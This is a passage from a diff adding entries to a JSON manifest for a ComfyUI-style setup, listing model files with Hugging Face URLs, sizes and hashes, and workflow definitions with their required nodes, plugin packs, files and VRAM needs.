+ "text_encoders/gemma4-12b-with-proj-ltx-2.5-comfy-int8-convrot.safetensors": {"folder":"text_encoders","file":"gemma4-12b-with-proj-ltx-2.5-comfy-int8-convrot.safetensors","url":"https://huggingface.co/Lightricks/LTX-2.5/resolve/main/text_encoders/gemma4-12b-with-proj-ltx-2.5-comfy-int8-convrot.safetensors","pinnedUrl":"https://huggingface.co/Lightricks/LTX-2.5/resolve/main/text_encoders/gemma4-12b-with-proj-ltx-2.5-comfy-int8-convrot.safetensors","sizeBytes":15370000000,"gated":true,"presence":"loader","loaders":[["CLIPLoader","clip_name"]]},
+ "text_encoders/gemma4_e4b_it_fp8_scaled.safetensors": {"folder":"text_encoders","file":"gemma4_e4b_it_fp8_scaled.safetensors","url":"https://huggingface.co/Comfy-Org/gemma-4/resolve/main/text_encoders/gemma4_e4b_it_fp8_scaled.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/gemma-4/resolve/63d0f7c476756b88910170c1df75e2384ea1af31/text_encoders/gemma4_e4b_it_fp8_scaled.safetensors","sizeBytes":9057782194,"gated":false,"presence":"loader","loaders":[["CLIPLoader","clip_name"]]},
+ "text_encoders/gemma_3_12B_it_fp4_mixed.safetensors": {"folder":"text_encoders","file":"gemma_3_12B_it_fp4_mixed.safetensors","url":"https://huggingface.co/Comfy-Org/ltx-2/resolve/main/split_files/text_encoders/gemma_3_12B_it_fp4_mixed.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/ltx-2/resolve/ccde4ba417d7900669fd56dd292a883cee11ff37/split_files/text_encoders/gemma_3_12B_it_fp4_mixed.safetensors","sizeBytes":9447702218,"gated":false,"presence":"loader","loaders":[["LTXAVTextEncoderLoader","text_encoder"]]},
+ "text_encoders/llama_3.1_8b_instruct_fp8_scaled.safetensors": {"folder":"text_encoders","file":"llama_3.1_8b_instruct_fp8_scaled.safetensors","url":"https://huggingface.co/Comfy-Org/HiDream-I1_ComfyUI/resolve/main/split_files/text_encoders/llama_3.1_8b_instruct_fp8_scaled.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/HiDream-I1_ComfyUI/resolve/942970a008493fc9bf05b4827374009e69f6a993/split_files/text_encoders/llama_3.1_8b_instruct_fp8_scaled.safetensors","sizeBytes":9081258056,"gated":false,"presence":"loader","loaders":[["QuadrupleCLIPLoader","clip_name4"]]},
+ "text_encoders/mistral_3_small_flux2_bf16.safetensors": {"folder":"text_encoders","file":"mistral_3_small_flux2_bf16.safetensors","url":"https://huggingface.co/Comfy-Org/flux2-dev/resolve/main/split_files/text_encoders/mistral_3_small_flux2_bf16.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/flux2-dev/resolve/9630c1b4b6e690497ae0c19bb6b1b35d4ebedcb7/split_files/text_encoders/mistral_3_small_flux2_bf16.safetensors","sizeBytes":35584897447,"gated":false,"presence":"loader","loaders":[["CLIPLoader","clip_name"]]},
+ "text_encoders/ovisocr3_0.8b_bf16.safetensors": {"folder":"text_encoders","file":"ovisocr3_0.8b_bf16.safetensors","url":"https://huggingface.co/ATH-MaaS/OvisOCR3/resolve/main/model.safetensors","pinnedUrl":"https://huggingface.co/ATH-MaaS/OvisOCR3/resolve/4833d5d2afa6e769ee933f024504d67ace80a24c/model.safetensors","sizeBytes":1706030528,"gated":false,"presence":"loader","loaders":[["CLIPLoader","clip_name"]]},
+ "text_encoders/qwen3.5_4b_bf16.safetensors": {"folder":"text_encoders","file":"qwen3.5_4b_bf16.safetensors","url":"https://huggingface.co/Comfy-Org/Qwen3.5/resolve/main/text_encoders/qwen3.5_4b_bf16.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/Qwen3.5/resolve/5d50a2252bf1bcd49e5fee9b5f296986d442682b/text_encoders/qwen3.5_4b_bf16.safetensors","sizeBytes":9319828320,"gated":false,"presence":"loader","loaders":[["CLIPLoader","clip_name"]]},
+ "text_encoders/qwen3vl_32b_minimax_h3_nvfp4_awq.safetensors": {"folder":"text_encoders","file":"qwen3vl_32b_minimax_h3_nvfp4_awq.safetensors","url":"https://huggingface.co/Comfy-Org/MiniMax-H3/resolve/1c41cfca8ebba91d0af792a05c5761fb2c3a7975/text_encoders/qwen3vl_32b_minimax_h3_nvfp4_awq.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/MiniMax-H3/resolve/1c41cfca8ebba91d0af792a05c5761fb2c3a7975/text_encoders/qwen3vl_32b_minimax_h3_nvfp4_awq.safetensors","sizeBytes":15687142551,"gated":false,"presence":"loader","loaders":[["CLIPLoader","clip_name"]]},
+ "text_encoders/qwen3vl_4b_fp8_scaled.safetensors": {"folder":"text_encoders","file":"qwen3vl_4b_fp8_scaled.safetensors","url":"https://huggingface.co/Comfy-Org/Krea-2/resolve/main/text_encoders/qwen3vl_4b_fp8_scaled.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/Krea-2/resolve/1171f4dc7e325bf3734586942e737872506c73e1/text_encoders/qwen3vl_4b_fp8_scaled.safetensors","sizeBytes":5242467968,"gated":false,"presence":"loader","loaders":[["CLIPLoader","clip_name"]]},
+ "text_encoders/qwen_2.5_vl_7b_fp8_scaled.safetensors": {"folder":"text_encoders","file":"qwen_2.5_vl_7b_fp8_scaled.safetensors","url":"https://huggingface.co/Comfy-Org/Qwen-Image_ComfyUI/resolve/main/split_files/text_encoders/qwen_2.5_vl_7b_fp8_scaled.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/Qwen-Image_ComfyUI/resolve/1f12b17be14c89b026c51a91d67c32f84bb047bc/split_files/text_encoders/qwen_2.5_vl_7b_fp8_scaled.safetensors","sizeBytes":9384670680,"gated":false,"presence":"loader","loaders":[["CLIPLoader","clip_name"],["DualCLIPLoader","clip_name1"]]},
+ "text_encoders/qwen_3_4b.safetensors": {"folder":"text_encoders","file":"qwen_3_4b.safetensors","url":"https://huggingface.co/Comfy-Org/z_image_turbo/resolve/main/split_files/text_encoders/qwen_3_4b.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/z_image_turbo/resolve/6fc90a3b1b653e935a0d175e260736de25b84df5/split_files/text_encoders/qwen_3_4b.safetensors","sizeBytes":8044982048,"gated":false,"presence":"loader","loaders":[["CLIPLoader","clip_name"]]},
+ "text_encoders/t5-base.safetensors": {"folder":"text_encoders","file":"t5-base.safetensors","url":"https://huggingface.co/ComfyUI-Wiki/t5-base/resolve/main/t5-base.safetensors","pinnedUrl":"https://huggingface.co/ComfyUI-Wiki/t5-base/resolve/6cd5e6887a033dee7a1bad4e5ea9ed43d83681f4/t5-base.safetensors","sizeBytes":891646390,"gated":false,"presence":"loader","loaders":[["CLIPLoader","clip_name"]]},
+ "text_encoders/t5gemma_b_b_ul2.safetensors": {"folder":"text_encoders","file":"t5gemma_b_b_ul2.safetensors","url":"https://huggingface.co/Comfy-Org/stable-audio-3/resolve/main/text_encoders/t5gemma_b_b_ul2.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/stable-audio-3/resolve/75aad8836271cb5a5123fb58304fae5d3bb4b0f9/text_encoders/t5gemma_b_b_ul2.safetensors","sizeBytes":1187264003,"gated":false,"presence":"loader","loaders":[["CLIPLoader","clip_name"]]},
+ "text_encoders/t5xxl_fp16.safetensors": {"folder":"text_encoders","file":"t5xxl_fp16.safetensors","url":"https://huggingface.co/comfyanonymous/flux_text_encoders/resolve/main/t5xxl_fp16.safetensors","pinnedUrl":"https://huggingface.co/comfyanonymous/flux_text_encoders/resolve/6af2a98e3f615bdfa612fbd85da93d1ed5f69ef5/t5xxl_fp16.safetensors","sizeBytes":9787841024,"gated":false,"presence":"loader","loaders":[["CLIPLoader","clip_name"],["DualCLIPLoader","clip_name2"]]},
+ "text_encoders/t5xxl_fp8_e4m3fn_scaled.safetensors": {"folder":"text_encoders","file":"t5xxl_fp8_e4m3fn_scaled.safetensors","url":"https://huggingface.co/Comfy-Org/HiDream-I1_ComfyUI/resolve/main/split_files/text_encoders/t5xxl_fp8_e4m3fn_scaled.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/HiDream-I1_ComfyUI/resolve/942970a008493fc9bf05b4827374009e69f6a993/split_files/text_encoders/t5xxl_fp8_e4m3fn_scaled.safetensors","sizeBytes":5157348688,"gated":false,"presence":"loader","loaders":[["DualCLIPLoader","clip_name2"],["QuadrupleCLIPLoader","clip_name3"]]},
+ "text_encoders/umt5-xxl-enc-bf16.safetensors": {"folder":"text_encoders","file":"umt5-xxl-enc-bf16.safetensors","url":"https://huggingface.co/Kijai/WanVideo_comfy/resolve/main/umt5-xxl-enc-bf16.safetensors","pinnedUrl":"https://huggingface.co/Kijai/WanVideo_comfy/resolve/8260d429d19fd7a72304cad059160b95d843913f/umt5-xxl-enc-bf16.safetensors","sizeBytes":11361845464,"gated":false,"presence":"loader","loaders":[["WanVideoTextEncodeCached","model_name"]]},
+ "text_encoders/umt5_xxl_fp16.safetensors": {"folder":"text_encoders","file":"umt5_xxl_fp16.safetensors","url":"https://huggingface.co/Comfy-Org/Wan_2.1_ComfyUI_repackaged/resolve/main/split_files/text_encoders/umt5_xxl_fp16.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/Wan_2.1_ComfyUI_repackaged/resolve/123acf1cc74bccbb9bfff8ac1ee72edc08c2341d/split_files/text_encoders/umt5_xxl_fp16.safetensors","sizeBytes":11366399385,"gated":false,"presence":"loader","loaders":[["CLIPLoader","clip_name"]]},
+ "text_encoders/umt5_xxl_fp8_e4m3fn_scaled.safetensors": {"folder":"text_encoders","file":"umt5_xxl_fp8_e4m3fn_scaled.safetensors","url":"https://huggingface.co/Comfy-Org/Wan_2.1_ComfyUI_repackaged/resolve/main/split_files/text_encoders/umt5_xxl_fp8_e4m3fn_scaled.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/Wan_2.1_ComfyUI_repackaged/resolve/123acf1cc74bccbb9bfff8ac1ee72edc08c2341d/split_files/text_encoders/umt5_xxl_fp8_e4m3fn_scaled.safetensors","sizeBytes":6735906897,"gated":false,"presence":"loader","loaders":[["CLIPLoader","clip_name"]]},
+ "thinksound/synchformer_state_dict.pth": {"folder":"thinksound","file":"synchformer_state_dict.pth","url":"https://huggingface.co/FunAudioLLM/ThinkSound/resolve/main/synchformer_state_dict.pth","pinnedUrl":"https://huggingface.co/FunAudioLLM/ThinkSound/resolve/7f152d1a088f91b21307337060216f0dec8d4a8f/synchformer_state_dict.pth","sizeBytes":950058171,"sha256":"8aff082f2df5c3bc52759db0c865c7ee772ae6400b860d1b7e90413f2defb67c","gated":false,"packFolder":"ComfyUI-ThinkSound_Wrapper","presence":"loader","loaders":[["ThinkSoundFeatureUtilsLoader","synchformer_model"]]},
+ "thinksound/thinksound_light.ckpt": {"folder":"thinksound","file":"thinksound_light.ckpt","url":"https://huggingface.co/FunAudioLLM/ThinkSound/resolve/main/thinksound_light.ckpt","pinnedUrl":"https://huggingface.co/FunAudioLLM/ThinkSound/resolve/7f152d1a088f91b21307337060216f0dec8d4a8f/thinksound_light.ckpt","sizeBytes":5733246918,"sha256":"5232db0ca3f1bca319958ea81181267e525228c226f62015d2b0fc624ce1df82","gated":false,"packFolder":"ComfyUI-ThinkSound_Wrapper","presence":"loader","loaders":[["ThinkSoundModelLoader","thinksound_model"]]},
+ "thinksound/vae.ckpt": {"folder":"thinksound","file":"vae.ckpt","url":"https://huggingface.co/FunAudioLLM/ThinkSound/resolve/main/vae.ckpt","pinnedUrl":"https://huggingface.co/FunAudioLLM/ThinkSound/resolve/7f152d1a088f91b21307337060216f0dec8d4a8f/vae.ckpt","sizeBytes":2521255758,"sha256":"8132c32ec65bbba2f1457f2659136c5f2cb31f9902af1c659d78c9f7d3aa619e","gated":false,"packFolder":"ComfyUI-ThinkSound_Wrapper","presence":"loader","loaders":[["ThinkSoundFeatureUtilsLoader","vae_model"]]},
+ "upscale_models/RealESRGAN_x4plus.safetensors": {"folder":"upscale_models","file":"RealESRGAN_x4plus.safetensors","url":"https://huggingface.co/Comfy-Org/Real-ESRGAN_repackaged/resolve/main/RealESRGAN_x4plus.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/Real-ESRGAN_repackaged/resolve/5fd49b7b278836f48af63ecd314d0f98ab336105/RealESRGAN_x4plus.safetensors","sizeBytes":66857836,"gated":false,"presence":"loader","loaders":[["UpscaleModelLoader","model_name"]]},
+ "vae/Wan2_1_VAE_bf16.safetensors": {"folder":"vae","file":"Wan2_1_VAE_bf16.safetensors","url":"https://huggingface.co/Kijai/WanVideo_comfy/resolve/main/Wan2_1_VAE_bf16.safetensors","pinnedUrl":"https://huggingface.co/Kijai/WanVideo_comfy/resolve/8260d429d19fd7a72304cad059160b95d843913f/Wan2_1_VAE_bf16.safetensors","sizeBytes":253806278,"gated":false,"presence":"loader","loaders":[["VAELoader","vae_name"],["WanVideoVAELoader","model_name"]]},
+ "vae/ae.safetensors": {"folder":"vae","file":"ae.safetensors","url":"https://huggingface.co/Comfy-Org/Lumina_Image_2.0_Repackaged/resolve/main/split_files/vae/ae.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/Lumina_Image_2.0_Repackaged/resolve/5b072540ef86570fecb8249c505f23d5bdeb88cd/split_files/vae/ae.safetensors","sizeBytes":335304388,"gated":false,"presence":"loader","loaders":[["VAELoader","vae_name"]]},
+ "vae/cogvideox_vae.safetensors": {"folder":"vae","file":"cogvideox_vae.safetensors","url":"https://huggingface.co/Comfy-Org/void-model/resolve/main/vae/cogvideox_vae.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/void-model/resolve/f9c9e565920002478ab9477f4c99c29c52d16db3/vae/cogvideox_vae.safetensors","sizeBytes":431221142,"gated":false,"presence":"loader","loaders":[["VAELoader","vae_name"]]},
+ "vae/flux2-vae.safetensors": {"folder":"vae","file":"flux2-vae.safetensors","url":"https://huggingface.co/Comfy-Org/flux2-dev/resolve/main/split_files/vae/flux2-vae.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/flux2-dev/resolve/9630c1b4b6e690497ae0c19bb6b1b35d4ebedcb7/split_files/vae/flux2-vae.safetensors","sizeBytes":336213556,"gated":false,"presence":"loader","loaders":[["VAELoader","vae_name"]]},
+ "vae/full_encoder_small_decoder.safetensors": {"folder":"vae","file":"full_encoder_small_decoder.safetensors","url":"https://huggingface.co/black-forest-labs/FLUX.2-small-decoder/resolve/main/full_encoder_small_decoder.safetensors","pinnedUrl":"https://huggingface.co/black-forest-labs/FLUX.2-small-decoder/resolve/a3efc24f613ef42d9428af62fdbd6f5fd8856c4a/full_encoder_small_decoder.safetensors","sizeBytes":249519092,"gated":false,"presence":"loader","loaders":[["VAELoader","vae_name"]]},
+ "vae/hunyuanvideo15_vae_fp16.safetensors": {"folder":"vae","file":"hunyuanvideo15_vae_fp16.safetensors","url":"https://huggingface.co/Comfy-Org/HunyuanVideo_1.5_repackaged/resolve/main/split_files/vae/hunyuanvideo15_vae_fp16.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/HunyuanVideo_1.5_repackaged/resolve/1405a2b738c29b890cf6d03fc038d8d3e92eeed7/split_files/vae/hunyuanvideo15_vae_fp16.safetensors","sizeBytes":2521292758,"gated":false,"presence":"loader","loaders":[["VAELoader","vae_name"]]},
+ "vae/ltx-2.5-audio-vae-bf16.safetensors": {"folder":"vae","file":"ltx-2.5-audio-vae-bf16.safetensors","url":"https://huggingface.co/Lightricks/LTX-2.5/resolve/main/vae/ltx-2.5-audio-vae-bf16.safetensors","pinnedUrl":"https://huggingface.co/Lightricks/LTX-2.5/resolve/main/vae/ltx-2.5-audio-vae-bf16.safetensors","sizeBytes":360000000,"gated":true,"presence":"loader","loaders":[["VAELoader","vae_name"]]},
+ "vae/ltx-2.5-video-vae-bf16.safetensors": {"folder":"vae","file":"ltx-2.5-video-vae-bf16.safetensors","url":"https://huggingface.co/Lightricks/LTX-2.5/resolve/main/vae/ltx-2.5-video-vae-bf16.safetensors","pinnedUrl":"https://huggingface.co/Lightricks/LTX-2.5/resolve/main/vae/ltx-2.5-video-vae-bf16.safetensors","sizeBytes":1470000000,"gated":true,"presence":"loader","loaders":[["VAELoader","vae_name"]]},
+ "vae/minimax_h3_audio_vae_fp32.safetensors": {"folder":"vae","file":"minimax_h3_audio_vae_fp32.safetensors","url":"https://huggingface.co/Comfy-Org/MiniMax-H3/resolve/1c41cfca8ebba91d0af792a05c5761fb2c3a7975/vae/minimax_h3_audio_vae_fp32.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/MiniMax-H3/resolve/1c41cfca8ebba91d0af792a05c5761fb2c3a7975/vae/minimax_h3_audio_vae_fp32.safetensors","sizeBytes":605254808,"gated":false,"presence":"loader","loaders":[["VAELoader","vae_name"]]},
+ "vae/minimax_h3_video_vae_fp16.safetensors": {"folder":"vae","file":"minimax_h3_video_vae_fp16.safetensors","url":"https://huggingface.co/Comfy-Org/MiniMax-H3/resolve/1c41cfca8ebba91d0af792a05c5761fb2c3a7975/vae/minimax_h3_video_vae_fp16.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/MiniMax-H3/resolve/1c41cfca8ebba91d0af792a05c5761fb2c3a7975/vae/minimax_h3_video_vae_fp16.safetensors","sizeBytes":5207808496,"gated":false,"presence":"loader","loaders":[["VAELoader","vae_name"]]},
+ "vae/qwen_image_layered_vae.safetensors": {"folder":"vae","file":"qwen_image_layered_vae.safetensors","url":"https://huggingface.co/Comfy-Org/Qwen-Image-Layered_ComfyUI/resolve/main/split_files/vae/qwen_image_layered_vae.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/Qwen-Image-Layered_ComfyUI/resolve/02130716aaf54a36f84c9fcfa8a373ab06284e2b/split_files/vae/qwen_image_layered_vae.safetensors","sizeBytes":253816616,"gated":false,"presence":"loader","loaders":[["VAELoader","vae_name"]]},
+ "vae/qwen_image_vae.safetensors": {"folder":"vae","file":"qwen_image_vae.safetensors","url":"https://huggingface.co/Comfy-Org/Qwen-Image_ComfyUI/resolve/main/split_files/vae/qwen_image_vae.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/Qwen-Image_ComfyUI/resolve/1f12b17be14c89b026c51a91d67c32f84bb047bc/split_files/vae/qwen_image_vae.safetensors","sizeBytes":253806246,"gated":false,"presence":"loader","loaders":[["VAELoader","vae_name"]]},
+ "vae/seedvr2_ema_vae_fp16.safetensors": {"folder":"vae","file":"seedvr2_ema_vae_fp16.safetensors","url":"https://huggingface.co/Comfy-Org/SeedVR2/resolve/main/vae/seedvr2_ema_vae_fp16.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/SeedVR2/resolve/df48879708206a403d2a61acd55578c2e80fd233/vae/seedvr2_ema_vae_fp16.safetensors","sizeBytes":501324814,"gated":false,"presence":"loader","loaders":[["VAELoader","vae_name"]]},
+ "vae/trellis_2_shape_vae_bf16.safetensors": {"folder":"vae","file":"trellis_2_shape_vae_bf16.safetensors","url":"https://huggingface.co/Comfy-Org/Pixal3D/resolve/main/vae/trellis_2_shape_vae_bf16.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/Pixal3D/resolve/f37641be376725d324c56626007cc477f1249a69/vae/trellis_2_shape_vae_bf16.safetensors","sizeBytes":1095844024,"gated":false,"presence":"loader","loaders":[["VAELoader","vae_name"]]},
+ "vae/trellis_2_texture_vae_bf16.safetensors": {"folder":"vae","file":"trellis_2_texture_vae_bf16.safetensors","url":"https://huggingface.co/Comfy-Org/Pixal3D/resolve/main/vae/trellis_2_texture_vae_bf16.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/Pixal3D/resolve/f37641be376725d324c56626007cc477f1249a69/vae/trellis_2_texture_vae_bf16.safetensors","sizeBytes":948461364,"gated":false,"presence":"loader","loaders":[["VAELoader","vae_name"]]},
+ "vae/triposplat_vae_decoder_fp16.safetensors": {"folder":"vae","file":"triposplat_vae_decoder_fp16.safetensors","url":"https://huggingface.co/VAST-AI/TripoSplat/resolve/main/vae/triposplat_vae_decoder_fp16.safetensors","pinnedUrl":"https://huggingface.co/VAST-AI/TripoSplat/resolve/56a96e603204ec410c4da60c13ea4fa09a2169a9/vae/triposplat_vae_decoder_fp16.safetensors","sizeBytes":576148442,"gated":false,"presence":"loader","loaders":[["VAELoader","vae_name"]]},
+ "vae/wan2.2_vae.safetensors": {"folder":"vae","file":"wan2.2_vae.safetensors","url":"https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/main/split_files/vae/wan2.2_vae.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/ee6f4a40737a995bf5818954cfce6d59443b0f04/split_files/vae/wan2.2_vae.safetensors","sizeBytes":1409400960,"gated":false,"presence":"loader","loaders":[["VAELoader","vae_name"]]},
+ "vae/wan_2.1_vae.safetensors": {"folder":"vae","file":"wan_2.1_vae.safetensors","url":"https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/main/split_files/vae/wan_2.1_vae.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/ee6f4a40737a995bf5818954cfce6d59443b0f04/split_files/vae/wan_2.1_vae.safetensors","sizeBytes":253815318,"gated":false,"presence":"loader","loaders":[["VAELoader","vae_name"]]}
+ },
+ "workflows": {
+ "audio-join-crossfade": {"core":["AudioConcat","AudioMerge","ComfyMathExpression","LoadAudio","PrimitiveFloat","SaveAudio","SplitAudioChannels","TrimAudioDuration"],"packs":{"ComfyUI-VideoHelperSuite":["VHS_LoadAudioUpload"]},"files":[],"optional":[],"vramGb":0,"isolated":false,"firstRun":[],"validated":true},
+ "audio-loop-crossfade": {"core":["AudioAdjustVolume","AudioConcat","AudioMerge","ComfyMathExpression","EndLoop","LoadAudio","PrimitiveFloat","SaveAudio","SplitAudioChannels","StartLoop","TrimAudioDuration"],"packs":{"ComfyUI-VideoHelperSuite":["VHS_LoadAudioUpload"]},"files":[],"optional":[],"vramGb":0,"isolated":false,"firstRun":[],"validated":true},
+ "audio-timeline": {"core":["AudioConcat","AudioMerge","EmptyAudio","LoadAudio","SaveAudio","TrimAudioDuration"],"packs":{},"files":[],"optional":[],"vramGb":0,"isolated":false,"firstRun":[],"validated":true},
+ "bg-remove-birefnet": {"core":["InvertMask","JoinImageWithAlpha","LoadBackgroundRemovalModel","LoadImage","RemoveBackground","SaveImage"],"packs":{},"files":["background_removal/birefnet.safetensors"],"optional":[],"vramGb":4,"isolated":false,"firstRun":[],"validated":true},
+ "bg-remove-rmbg": {"core":["LoadImage","SaveImage"],"packs":{"ComfyUI-RMBG":["RMBG"]},"files":[],"optional":[],"vramGb":4,"isolated":false,"firstRun":["ComfyUI-RMBG downloads the selected model (BEN2 -> models/RMBG/BEN2) from Hugging Face on first run"],"validated":true},
+ "captions-burnin": {"core":["ConcatenateVideo","CreateVideo","GetVideoComponents","LoadAudio","LoadVideo","SaveVideo","TextOverlay","Video Slice"],"packs":{},"files":[],"optional":[],"vramGb":0,"isolated":false,"firstRun":[],"validated":true},
+ "captions-qwen3-asr": {"core":["LoadAudio","PreviewAny","SaveText"],"packs":{"ComfyUI-QwenASR":["AILab_Qwen3ASRSubtitle"]},"files":[],"optional":[],"vramGb":4,"isolated":false,"firstRun":["AILab_Qwen3ASRSubtitle downloads Qwen/Qwen3-ASR-0.6B-hf (1.56 GB) and Qwen/Qwen3-ForcedAligner-0.6B-hf (1.84 GB) into models/Qwen3-ASR on first run"],"validated":true},
+ "captions-whisper-burnin": {"core":["SaveText"],"packs":{"ComfyUI-VideoHelperSuite":["VHS_LoadVideo","VHS_VideoCombine","VHS_VideoInfoLoaded"],"ComfyUI-Whisper":["Add Subtitles To Frames","Apply Whisper"]},"files":[],"optional":[],"vramGb":6,"isolated":false,"firstRun":["Apply Whisper downloads large-v3-turbo.pt (1.62 GB) into models/stt/whisper on first run"],"validated":true},
+ "draw-to-video-wan-move": {"core":["CLIPLoader","CLIPTextEncode","CLIPVisionEncode","CLIPVisionLoader","CreateVideo","ImageScale","KSampler","LoadImage","LoraLoaderModelOnly","ModelSamplingSD3","PrimitiveStringMultiline","SaveVideo","UNETLoader","VAEDecode","VAELoader","WanMoveTrackToVideo","WanMoveTracksFromCoords"],"packs":{},"files":["clip_vision/clip_vision_h.safetensors","diffusion_models/Wan21-WanMove_fp8_scaled_e4m3fn_KJ.safetensors","loras/lightx2v_I2V_14B_480p_cfg_step_distill_rank64_bf16.safetensors","text_encoders/umt5_xxl_fp8_e4m3fn_scaled.safetensors","vae/wan_2.1_vae.safetensors"],"optional":[],"vramGb":24,"isolated":false,"firstRun":[],"validated":true},
+ "dub-prepare-separate-transcribe": {"core":["LoadAudio","PreviewAny","SaveAudioMP3","SaveText"],"packs":{"ComfyUI-MelBandRoFormer":["MelBandRoFormerModelLoader","MelBandRoFormerSampler"],"ComfyUI-QwenASR":["AILab_Qwen3ASRSubtitle"]},"files":["diffusion_models/MelBandRoformer_fp16.safetensors"],"optional":[],"vramGb":8,"isolated":false,"firstRun":["AILab_Qwen3ASRSubtitle downloads Qwen/Qwen3-ASR-1.7B-hf (4.08 GB; 0.6B: 1.56 GB) and Qwen/Qwen3-ForcedAligner-0.6B-hf (1.84 GB) into models/Qwen3-ASR on first run"],"validated":true},
+ "face-swap-reactor": {"core":["LoadImage","SaveImage"],"packs":{"ComfyUI-ReActor":["ReActorFaceSwap"]},"files":["facerestore_models/GFPGANv1.4.pth","insightface/inswapper_128.onnx"],"optional":[],"vramGb":4,"isolated":false,"firstRun":["insightface buffalo_l face analysis models -> models/insightface/models/buffalo_l (downloaded by ReActor on first run)","retinaface_resnet50 detector -> models/facedetection (downloaded on first run)"],"validated":true},
+ "flux1-dev-t2i": {"core":["CLIPTextEncode","ConditioningZeroOut","DualCLIPLoader","EmptySD3LatentImage","FluxGuidance","KSampler","SaveImage","UNETLoader","VAEDecode","VAELoader"],"packs":{},"files":["diffusion_models/flux1-dev.safetensors","text_encoders/clip_l.safetensors","text_encoders/t5xxl_fp16.safetensors","vae/ae.safetensors"],"optional":[],"vramGb":24,"isolated":false,"firstRun":[],"validated":true},
+ "flux1-fill-inpaint": {"core":["CLIPTextEncode","ConditioningZeroOut","DifferentialDiffusion","DualCLIPLoader","FluxGuidance","InpaintModelConditioning","KSampler","LoadImage","LoadImageMask","SaveImage","UNETLoader","VAEDecode","VAELoader"],"packs":{},"files":["diffusion_models/flux1-fill-dev.safetensors","text_encoders/clip_l.safetensors","text_encoders/t5xxl_fp16.safetensors","vae/ae.safetensors"],"optional":[],"vramGb":24,"isolated":false,"firstRun":[],"validated":true},
+ "flux1-fill-outpaint": {"core":["CLIPTextEncode","ConditioningZeroOut","DifferentialDiffusion","DualCLIPLoader","FluxGuidance","ImagePadForOutpaint","InpaintModelConditioning","KSampler","LoadImage","SaveImage","UNETLoader","VAEDecode","VAELoader"],"packs":{},"files":["diffusion_models/flux1-fill-dev.safetensors","text_encoders/clip_l.safetensors","text_encoders/t5xxl_fp16.safetensors","vae/ae.safetensors"],"optional":[],"vramGb":24,"isolated":false,"firstRun":[],"validated":true},
+ "flux1-kontext-dev-edit": {"core":["CLIPTextEncode","ConditioningZeroOut","DualCLIPLoader","FluxGuidance","FluxKontextImageScale","ImageStitch","KSampler","LoadImage","ReferenceLatent","SaveImage","UNETLoader","VAEDecode","VAEEncode","VAELoader"],"packs":{},"files":["diffusion_models/flux1-dev-kontext_fp8_scaled.safetensors","text_encoders/clip_l.safetensors","text_encoders/t5xxl_fp8_e4m3fn_scaled.safetensors","vae/ae.safetensors"],"optional":[],"vramGb":16,"isolated":false,"firstRun":[],"validated":true},
+ "flux1-krea-dev-t2i": {"core":["CLIPTextEncode","ConditioningZeroOut","DualCLIPLoader","EmptySD3LatentImage","FluxGuidance","KSampler","SaveImage","UNETLoader","VAEDecode","VAELoader"],"packs":{},"files":["diffusion_models/flux1-krea-dev_fp8_scaled.safetensors","text_encoders/clip_l.safetensors","text_encoders/t5xxl_fp16.safetensors","vae/ae.safetensors"],"optional":[],"vramGb":16,"isolated":false,"firstRun":[],"validated":true},
+ "flux1-schnell-t2i": {"core":["CLIPTextEncodeFlux","ConditioningZeroOut","DualCLIPLoader","EmptySD3LatentImage","KSampler","SaveImage","UNETLoader","VAEDecode","VAELoader"],"packs":{},"files":["diffusion_models/flux1-schnell.safetensors","text_encoders/clip_l.safetensors","text_encoders/t5xxl_fp16.safetensors","vae/ae.safetensors"],"optional":[],"vramGb":24,"isolated":false,"firstRun":[],"validated":true},
+ "flux2-dev-edit": {"core":["BasicGuider","CLIPLoader","CLIPTextEncode","EmptyFlux2LatentImage","Flux2Scheduler","FluxGuidance","GetImageSize","ImageScaleToTotalPixels","KSamplerSelect","LoadImage","PrimitiveInt","RandomNoise","ReferenceLatent","SamplerCustomAdvanced","SaveImage","UNETLoader","VAEDecode","VAEEncode","VAELoader"],"packs":{},"files":["diffusion_models/flux2_dev_fp8mixed.safetensors","text_encoders/mistral_3_small_flux2_bf16.safetensors","vae/full_encoder_small_decoder.safetensors"],"optional":[],"vramGb":32,"isolated":false,"firstRun":[],"validated":true},
+ "flux2-dev-multiref": {"core":["BasicGuider","CLIPLoader","CLIPTextEncode","EmptyFlux2LatentImage","Flux2Scheduler","FluxGuidance","GetImageSize","ImageScaleToTotalPixels","KSamplerSelect","LoadImage","PrimitiveInt","RandomNoise","ReferenceLatent","SamplerCustomAdvanced","SaveImage","UNETLoader","VAEDecode","VAEEncode","VAELoader"],"packs":{},"files":["diffusion_models/flux2_dev_fp8mixed.safetensors","text_encoders/mistral_3_small_flux2_bf16.safetensors","vae/full_encoder_small_decoder.safetensors"],"optional":[],"vramGb":32,"isolated":false,"firstRun":[],"validated":true},
